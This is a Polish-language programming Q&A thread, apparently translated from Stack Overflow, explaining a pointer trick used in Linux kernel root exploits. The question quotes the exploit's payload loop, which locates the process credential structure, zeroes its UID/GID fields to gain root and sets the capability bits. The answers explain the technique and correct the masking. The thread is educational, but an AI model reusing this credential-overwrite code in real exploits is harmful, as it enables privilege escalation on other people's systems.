2015-10-23 19 views
49

W niektórych wyczynach na uzyskanie roota, często widzę taki wskaźnik:Objaśnienie wskaźnika w kod wykorzystujący lukę

int i; 
unsigned *p = *(unsigned**)(((unsigned long)&i) & ~8191); 

może ktoś wyjaśnić ten wskaźnik trochę? Myślę, że 8191 jest wielkością stosu jądra. p punktów na dole stosu jądra ? Oto jak jest używany wskaźnik p:

int i; 
unsigned *p = *(unsigned**)(((unsigned long)&i) & ~8191); 
for (i = 0; i < 1024-13; i++) { 
    if (p[0] == uid && p[1] == uid && 
     p[2] == uid && p[3] == uid && 
     p[4] == gid && p[5] == gid && 
     p[6] == gid && p[7] == gid) { 
      p[0] = p[1] = p[2] = p[3] = 0; 
      p[4] = p[5] = p[6] = p[7] = 0; 
      p = (unsigned *) ((char *)(p + 8) + sizeof(void *)); 
      p[0] = p[1] = p[2] = ~0; 
      break; 
     } 
    p++; 
} 
+3

Wartość '8191' w binarnym to' 1111111111111', a typ 'long' ma 32 bity. Myślę, że aby dać ci stanowczą odpowiedź, musielibyśmy zobaczyć, w jaki sposób używany jest wskaźnik "* p". Operator '&' jest prawdopodobnie trochę maską. –

+0

@TimBiegeleisen Dziękuję za odpowiedź. Edytowałem to. – HuangJie

Odpowiedz

54

Kod trwa adres zmiennej lokalnej i aby uzyskać wskaźnik do bieżącej ramki stosu. Następnie wyrównuje adres do strony 8K (to jest to, co robisz z x & ~8191: 8191 to 2^13 - 1, co oznacza, że ​​~8191 to wszystkie z wyjątkiem niskich 13 bitów, więc ANDing z liczbą wyczyści niskie 13 bitów, tj. wyrównaj liczbę do najbliższej niższej wielokrotności 2^13, innymi słowy, wyrównaj do granicy 8K).

Następnie przyjmuje ten adres i interpretuje go jako wskaźnik do wskaźnika i ładuje z niego wskazany adres. Aby uzyskać więcej informacji, patrz Understanding the getting of task_struct pointer from process kernel stack.

Po tym próbuje zlokalizować konkretną strukturę przechowywaną gdzieś po tym adresie: Przegląda ona następujące 1024-13unsigned s, próbując znaleźć miejsce w pamięci, w którym przechowywane są bieżące informacje o procesie (prawdopodobnie): Po znalezieniu fragment pamięci zawierający wiele kopii bieżącego identyfikatora UID i GID, zakłada, że ​​go znalazł. W takim przypadku modyfikuje ją tak, aby bieżący proces uzyskał UID i GID 0, co spowodowało, że proces był uruchamiany w trybie root (plus przechowuje all-one w następujących znacznikach zdolności).

Cf. struct cred.

8

Zamierzam opublikować kolejną odpowiedź, ponieważ naprawdę jest coś do dodania tutaj.

unsigned *p = *(unsigned**)(((unsigned long)&i) & ~8191); 

powoduje, że p jest wskaźnikiem początku bloku pamięci o wielkości 8192 bajtów. Jednak kod jest błędny. Jeśli p jest powyżej INT_MAX (który może być lub byłby rzutowany na niepodpisany, niepodpisany na długi), wysokie bity są odcinane przez maskę. Poprawny kod jest następujący:

unsigned *p = *(unsigned**)(((ptrdiff_t)&i) & ~(ptrdiff_t)8191); 

lub używając uintptr_t:

unsigned *p = *(unsigned**)(((uintptr_t)&i) & ~(uintptr_t)8191U); 

Konieczne jest rzutowane na całkowitą i powrót do wskaźnika dla kodu do pracy; jednak w celu zagwarantowania wskaźnika o wielkości wewnętrznej wymaga użycia ptrdiff_t (pamiętamy, że podpis i unsigned zachowują się dokładnie tak samo dla operacji bitowych). Jeśli chodzi o to, dlaczego nie piszą ich za pomocą stałych heksadecymalnych, kogo to obchodzi. Faceci, którzy robią tego rodzaju rzeczy, znają ich moc 2 na pamięć. Może być szybciej przeczytać 8191, a następnie 0x1FFF.

+1

Dla skrupulatnej poprawności ISO, 'uintptr_t' zamiast' ptrdiff_t' w obu miejscach. Wszystkie Linux ABI gwarantują jednak 'sizeof (unsigned long) == sizeof (T *)' dla wszystkich T. Więc * minimalna * zmiana, aby kod był poprawny w kontekście exploita jądra Linuxa jest po prostu '& ~ 8191UL 'zamiast' i ~ 8191'. – zwol

+0

Gdy '~ 8191', typu' int', jest używane w wyrażeniu '& 'z' unsigned long' po lewej stronie, stosowane jest rozszerzenie znaku.W związku z tym wysokie bity nie zostaną odcięte od maski. To jest ten sam powód, dla którego 'uint64_t x = -1;' ustawia wszystkie 64 bity na 1. – mortehu

+1

@mortehu: Zostałem spalony używając tego fragmentu gdzie indziej. Jeśli int ma mniej bitów niż unsigned long, konwersje robią coś niewłaściwego. – Joshua